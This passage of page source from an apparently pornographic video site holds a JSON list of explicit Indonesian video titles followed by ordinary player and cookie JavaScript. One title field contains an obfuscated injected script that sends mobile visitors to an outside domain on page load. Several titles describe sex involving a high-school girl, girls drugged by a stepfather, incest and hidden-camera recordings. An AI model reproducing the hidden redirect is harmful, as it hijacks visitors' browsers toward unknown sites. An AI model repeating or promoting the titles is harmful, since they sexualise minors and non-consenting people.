Foto selfie seks pribadi siswi SMA bertubuh seksi dan pacarnya","lastmod":"2026-07-11","duration":"21:28","url":"/play/19166860.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDc4Mzk0YzYzZjRjMTIxOTUwMWU2ODdhMjA1MGVlODIuanBn.cache","vod_id":18973824,"title":"BAZX-363 Gadis cantik berseragam pelaut dan seks yang sepenuhnya patuh SPESIAL Vol. 002","lastmod":"2025-03-23","duration":"02:29:35","url":"/play/18973824.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MjMvZTFiMjI1ZWMwNjk1NTk2ZGNkYzA2MTZjMGRmOWYwNmQuanBn.cache","vod_id":19034761,"title":"EBWH091 Klimaks Super! Kejang Hebat! Semburan cairan keluar deras! Seorang wanita cantik langsing, dengan ukuran payudara G, yang tampaknya tak terjangkau, melepaskan hasratnya dalam klimaks seks yang paling dahsyat ini.","lastmod":"2025-05-23","duration":"01:59:47","url":"/play/19034761.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MTIvZDRjMjM5ODNiMTMxYjUzMmRkZWNiYjIxMTljYzM5NGYuanBn.cache","vod_id":19042535,"title":"BANK201: Perjalanan menyenangkan ke pemandian air panas bersama dua saudari menggemaskan yang telah diracuni oleh ayah tiri mereka.","lastmod":"2025-07-11","duration":"03:00:28","url":"/play/19042535.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzYxMTc0ZmNkMWU1YmE5MTFjZjYwNGFjYmQwMGNiM2IuanBn.cache","vod_id":19006662,"title":"DVAJ-395 \"Aku Menyukaimu\" - Seorang wanita berpenampilan biasa dari pabrik menyatakan cintanya padanya. Setelah menerima, dia ternyata sangat mesum. 8 cerita seks beruntun - Nanami Kawakami.","lastmod":"2025-03-24","duration":"02:10:54","url":"/play/19006662.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzMwZGI5NmZhZjBmNTFjMTIzYjY3OThkMzQ0NGQ4OWUuanBn.cache","vod_id":18983562,"title":"OKAX-752: Frustrasi para istri terhadap masturbasi mencapai puncaknya, mereka memiliki fantasi erotis, dan merangsang klitoris dan vagina mereka dengan jari, vibrator, dan alat pijat elektrik.","lastmod":"2025-03-23","duration":"01:59:48","url":"/play/18983562.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzg1YzE4YTc4N2Y3ODhkYTdhNGFkM2MwYmI2NTQ2MmIuanBn.cache","vod_id":18959326,"title":"Jingdong Pictures JD008 Tahun-Tahun Itu Kita Mengejar Gadis Bersama","lastmod":"2025-12-14","duration":"00:28:15","url":"/play/18959326.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZjJlMThjMzAyMzdmMWU5M2IwMDFiMjE3OWFkMjk2NDEuanBn.cache","vod_id":19146596,"title":"NTR (Non-Traumatic Chain) Erotis yang Direkam Sendiri: Orang dalam \"video erotis yang direkam sendiri\" yang secara keliru dikirim oleh seorang kerabat ternyata adalah ibu saya. ROE-394","lastmod":"2026-03-05","duration":"01:59:25","url":"/play/19146596.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjY5NjhmMWU1NjQyNzBiYWNmODgzMGUyYTkwZDRjZWQuanBn.cache","vod_id":18949898,"title":"DANDY-414 \"Setiap wanita ingin pingsan setidaknya sekali saat berhubungan seks!\" Penis terbesar di dunia","lastmod":"2025-12-14","duration":"03:09:07","url":"/play/18949898.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDJkMmI4YmY0OTc3NDI4YjM0NGIwMTNiNjdlZTY4NzguanBn.cache","vod_id":18972576,"title":"494SIKA-227 Wanita misterius bertubuh montok mengalami beberapa orgasme saat berhubungan seks dari sudut pandang orang pertama.","lastmod":"2025-12-14","duration":"00:47:25","url":"/play/18972576.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMWY0NGY1NTMyODg1YjEyNWY3YzY4M2M0ZDAxYTlmZjkuanBn.cache","vod_id":19143668,"title":"Berlibur dengan pacarku. Hari yang penuh hasrat. Kencan hari ini adalah seks, Kinoshita Yomari SQTE-631","lastmod":"2026-02-16","duration":"01:48:22","url":"/play/19143668.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjhiYmFiNmNhZDk2YTc0MzczZWI0YTI5NDZhYjBmYTQuanBn.cache","vod_id":19003848,"title":"SSNI-540 Natural 3D H-Cup Mao Shiro mengalami tiga orgasme intens selama berhubungan seks! Fitur spesial: Payudara bergoyang hebat.","lastmod":"2025-03-23","duration":"01:59:17","url":"/play/19003848.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTNhNWEwMDExNGUxMjU5NDRiYTdmNzU4N2EzYzI4NDguanBn.cache","vod_id":19014522,"title":"Mirei-chan, si cantik masokis berusia 20 tahun dari ARA368 [Miracle Big Breasts], hadir di sini! Alasannya bergabung dengan kelompok teater adalah \"tidak cukup uang untuk biaya hidup... jadi aku harus menanggalkan pakaianku...\" Meskipun miskin, ia memiliki payudara berukuran G-cup yang pantas dimiliki wanita kaya! Hanya dengan sedikit rangsangan, ia akan mengeluarkan cairan dalam jumlah banyak! Ia sangat sensitif; seluruh tubuhnya adalah zona erotis! Jangan lewatkan seks orgasme anggota kelompok teater ini dengan payudaranya yang bergoyang liar!","lastmod":"2025-03-24","duration":"01:21:38","url":"/play/19014522.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTAwMTZiOGEzZmRhMTlhYmQ1MTY5ZGRhZWVhNDI1NTYuanBn.cache","vod_id":18966859,"title":"[Tanpa Sensor] MAAN-852 [Alasannya rumit! Teknik menjilat yang menakjubkan pasti akan mengejutkanmu!] Ledakan daya tarik seksual dewasa... seorang pembunuh muda yang memikat! Teknik erotis yang tidak biasa","lastmod":"2025-03-22","duration":"02:00:37","url":"/play/18966859.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTIzNDFmZTdmMDNiOWRhZWM5OGVlYzQzZDI5NzhlNmIuanBn.cache","vod_id":18936595,"title":"[Subtitle Bahasa Mandarin] IPX-405 Bangkit Kembali! Sudah tiga tahun! Dirilis! Pertama kali dengan ejakulasi internal - S","lastmod":"2025-03-22","duration":"02:32:22","url":"/play/18936595.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjkvOTJhMjdmNjY3MWU1YWY1MjI0YTI1ZmM2YWU0NDk5OTIuanBn.cache","vod_id":19165717,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Wajah Basah dan Telanjang: Wanita Basah Adalah yang Paling Cabul; Wanita Cantik dan Pria Tua yang Rakus Berhubungan Seks Tanpa Perlindungan; Kinoshita Himari; Beruntung","lastmod":"2026-07-11","duration":"02:15:09","url":"/play/19165717.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDUvNjdlMmFlNDA3MTI3YTMzOWVmNGJlOGMzODNkMTBmNGQuanBn.cache","vod_id":19166673,"title":"Kamera Tersembunyi Hotel: Kisah Cinta Lesbian yang Luar Biasa dan Tak Terlupakan","lastmod":"2026-07-11","duration":"01:32:26","url":"/play/19166673.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9pYy4xNTUyNTAyMTQudG9wLzIwMjYwMjIzL0Fvb0gxUVZOLzEuanBn.cache","vod_id":19145118,"title":"Hinata dan Sakura di pesta seks di PurpleBitch [PurpleBitch]","lastmod":"2026-02-24","duration":"14:47","url":"/play/19145118.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjgzMzAzOGM1Y2Q0ODM2YWY1NjlmMzliZWZkNmZhZWQuanBn.cache","vod_id":19009859,"title":"MEYD561 CHINASES SUB Kakak iparku bersikap dingin pada kakaknya, tapi sebenarnya dia adalah pasangan seksualku, dan aku tinggal bersamanya. Nanami Kawakami.","lastmod":"2025-03-24","duration":"02:40:10","url":"/play/19009859.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTJkZjJiN2NkZTEzNDI2NzI5NzhjZTdhM2E1ODgwMjUuanBn.cache","vod_id":18931779,"title":"ATOM-393_B Licin! Zubo!? Dan ada juga penetrasi yang kuat!? Tanpa celana dalam, seks kaki ke kaki, kompetisi koboi manusia, Bagian 2","lastmod":"2025-12-14","duration":"01:24:14","url":"/play/18931779.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTMwNmM2ZTYwYWI1YWM2NDM3MjM3NDA1ZmI0YzBkNWMuanBn.cache","vod_id":18989249,"title":"200GANA-2255 Softcore Serius, Pertama Kali Syuting. 1456 Seorang mahasiswi keperawatan yang sangat imut ditemukan di kota yang hancur akibat badai hujan! Ketika saya mendengarkan ceritanya, dia berkata, \"Saya tidak punya pacar, tetapi saya punya ayah!\" Dia adalah karnivora modern! Namun, dia sangat depresi dan berkata, \"Berhubungan seks dengan ayah saya sama sekali tidak terasa enak!\" Rutinitas hariannya adalah menonton video dewasa dan masturbasi, jadi ketika saya menyarankan agar dia \"mencoba membuat video dewasa\"...! (0002).","lastmod":"2025-03-23","duration":"01:12:16","url":"/play/18989249.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTJiZGFlN2ZlNWQ1MmY1ZjIwZGUzYzNkODZlMDMwNGIuanBn.cache","vod_id":18927823,"title":"FC2PPV-1285529★Pamer Wajah Penuh☆Sekuel・Gadis Hiperseksual Berusia 24 Tahun Yuru-chan☆Mesin Jeritan Seks Gadis Hiperseksual Berusia 24 Tahun♥Dia sangat sensitif, mengalami beberapa orgasme♥Seks dengan Jeritan Menyakitkan dan Ejakulasi di Dalam Vagina♥【Rekaman Pribadi】※Bonus!","lastmod":"2025-12-14","duration":"00:55:42","url":"/play/18927823.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjQ2NmRhNzAyN2IyYjY2MjAxMDg2M2JmMmRlY2E1MzkuanBn.cache","vod_id":18928784,"title":"APNS-172-Pertukaran Paksa dengan Sepupu Berpayudara Besar & Seks Pembuahan Putus Asa Misono Wakamori Tsugumi Volume 5","lastmod":"2025-12-14","duration":"00:11:52","url":"/play/18928784.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2VlZjdlNmQzYTI0OTUxOGRhYzA0ZjIzMWMyYjcxOWYuanBn.cache","vod_id":18995107,"title":"Adegan seks ganda tanpa sensor Li Qin (Bagian 2)","lastmod":"2025-03-23","duration":"09:24","url":"/play/18995107.html"}]},
videoTitle: 'Ketika saya menggabungkan video dialog biasa dan video seks, hasilnya menjadi sangat erotis. (Hazuki Hazuki, Suzune Kiritani OKW-008)',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}